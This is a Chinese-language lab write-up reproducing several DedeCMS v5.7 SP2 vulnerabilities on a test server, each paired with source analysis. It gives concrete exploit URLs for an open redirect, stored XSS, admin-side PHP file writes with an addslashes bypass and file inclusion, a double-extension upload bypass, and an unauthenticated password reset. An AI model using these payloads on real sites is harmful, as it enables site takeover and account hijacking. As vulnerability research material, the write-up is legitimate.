DedeCMS_v5.7漏洞复现
环境搭建:
服务器:WinServer2008(10.10.10.143) + phpstudy2018
DedeCMS版本:DedeCMS-V5.7-UTF8-SP2
下载地址:https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk
0x01 URL重定向
版本<=5.7sp2
漏洞复现
payload:
http://10.10.10.143/Dedecms/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20=
url重定向到百度:
漏洞分析
Dedecms/plus/download.php:55
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
代码中首先对$link进行url解码(浏览器自动对$link进行url编码),
再对其进行base64解码,所以在URL重定向复现时,要将URL进行base64编码
0x02 后台shops_delivery_存储型XSS
漏洞复现
管理员在添加用户购买商品的配送方式时,可能会触发x存储型ss
模拟管理员添加配送方式:
进入后台—>会员—>配货方式设置—>增加一个配货方式
上图中最后一个方式是由笔者自己添加的xss测试代码
用户在购买商品时会自动弹出配送方式列表
漏洞分析
漏洞触发点在如下文件中:
Dedecms/dede/shops_delivery.php:28
$des = cn_substrR($des,255);
$InQuery = "INSERT INTO #@__shops_delivery(`dname`,`price`,`des`) VALUES ('$dname','$price','$des');";
$result = $dsql->ExecuteNoneQuery($InQuery);
if($result)
{
ShowMsg("成功添加一个配送方式!","shops_delivery.php");
}
else
{
ShowMsg("添加配送方式时发生SQL错误!","-1");
}
exit();
代码中对配货方式(des)没有做任何过滤便添加到数据库中
0x03 carbuyaction_存储型XSS
漏洞复现
用户在编辑订单信息(填写收货地址)处可以插入xss代码
管理员在查看用户订单信息时会触发xss漏洞:
漏洞分析
Dedecms/plus/carbuyaction.php:111
$address = cn_substrR(trim($address),200);
程序中没有对address参数进行过滤
0x04 tpl后台文件写入
版本=5.7sp2、5.81
漏洞复现
token获取:
访问http://10.10.10.143/Dedecms/dede/index.php
源代码里有token
构造payload:
http://10.10.10.143/Dedecms/dede/tpl.php?action=savetagfile&filename=123.lib.php&acontent=<?php phpinfo();?>&token=871dcbfab72289fce2c0544f3d78f7a1
执行结果如下:
创建的文件路径:
http://10.10.10.143/Dedecms/include/taglib/123.lib.php
访问如下:
文件成功被写入
漏洞分析
$action=savetagfile时可以将文件保存为.lib.php格式的脚本
其中$content为文件的内容,$filewname为文件名
正则表达式要求文件名中至少包含一个字母、数字、“_”、“-”
所以测试如下参数:
action=savetagfile
content=<?php phpinfo(); ?>
filename=123.lib.php
253行有一个csrf检测,因此在漏洞利用的时候需要传入一个token参数
0x05 sys_verifies后台文件写入
版本:5.7sp1、5.7sp2
漏洞复现
payload
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();//
写入文件:Dedecms/data/modifytmp.inc
漏洞分析&GetShell
sys_verifies.php:152
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit();
}
$cacheFiles = DEDEDATA.'/modifytmp.inc';
$fp = fopen($cacheFiles, 'w');
fwrite($fp, '<'.'?php'."\r\n");
fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
$dirs = array();
$i = -1;
$adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
foreach($refiles as $filename)
{
$filename = substr($filename,3,strlen($filename)-3);
if(preg_match("#^dede/#i", $filename))
{
$curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
} else {
$curdir = GetDirName($filename);
}
if( !isset($dirs[$curdir]) )
{
$dirs[$curdir] = TestIsFileDir($curdir);
}
$i++;
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
}
fwrite($fp, '$fileConut = '.$i.';'."\r\n");
fwrite($fp, '?'.'>');
fclose($fp);
上述代码中要求传入参数
$action=getfiles
$refiles是一个数组,数组中的内容将会被写入到$cacheFiles也就是DEDEDATA.'/modifytmp.inc‘文件中,(其中DEDEDATA为data文件夹的路径),并且\$refiles的内容是可控的
我们首先尝试传入测试字符串:
payload_test1
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=hummer
前三个字母被删除了,因为源代码中有如下操作:
$filename = substr($filename,3,strlen($filename)-3);
我们尝试写入自己的命令:
http:
发现单引号和双引号都被转义了,因为Ddedecms在common.inc.php中对代码进行了全局addslash()过滤,会将双引号,单引号,斜杠前都加上一个斜杠
这里有个非常有意思的东西,我们输入的内容前三个字符会被删除掉,如果我们只输入/" ,过滤后就会变成///" ,程序恰好会帮助我们删除三个斜杠,这样就能成功过滤addslash函数了。
再次尝试修改我们的payload
http:
成功写入!!
此文件在$action=down的部分还存在文件包含漏洞
我们向modifytmp.inc中写入测试代码:
http:
上图代码中存在文件包含漏洞,尝试利用
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=down&a=echo 'hummer';
测试成功!!
0x06 album_add_后台文件上传
漏洞复现:
制作图片马,内容为
<?php phpinfo(); ?>
命名为123.jpg.php,压缩为zip文件
打开网址:http://10.10.10.143/Dedecms/dede/album_add.php
选择从zip压缩包上传
点击确定上传
上传完成后点击预览文档
漏洞复现成功!!
图片上传的位置为:Dedecms\uploads\allimg
上传的图片在后台内容管理->图片集中也可以进行管理
漏洞分析
查看源代码:
对上传文件的限制是.jpg 、.png 、.gif
没有对文件名做更多的过滤,我们只要上传shell.jpg.php即可
0x07 前台任意密码重置
漏洞复现
创建账号hummer(mid=2)模仿攻击者账号,创建test(mid=4)模仿被攻击者
登录hummer账号
payload:
10.10.10.143/Dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=4
burpsuite抓服务器的响应:
可以看到服务器为我们返回了key=swHO1E2V
访问:http://10.10.10.143/Dedecms/member/resetpassword.php?dopost=getpasswd&id=4&key=swHO1E2V
就可以修改密码了
漏洞分析
漏洞出现的文件:Dedecms/member/resetpassword.php:75
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
如果safequestion和safeanswer都匹配正确,则进入sn()函数
我们继续跟踪sn()
if(!is_array($row))
{
newmail($mid,$userid,$mailto,'INSERT',$send);
}
直接进入newmail()函数,继续跟踪:
elseif($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
默认的$send 参数为N,所以会直跳转给出$key,不需要邮箱验证
得到$key以后,传入dopost=getpasswd,并传入key值和用户id即可成功修改密码
|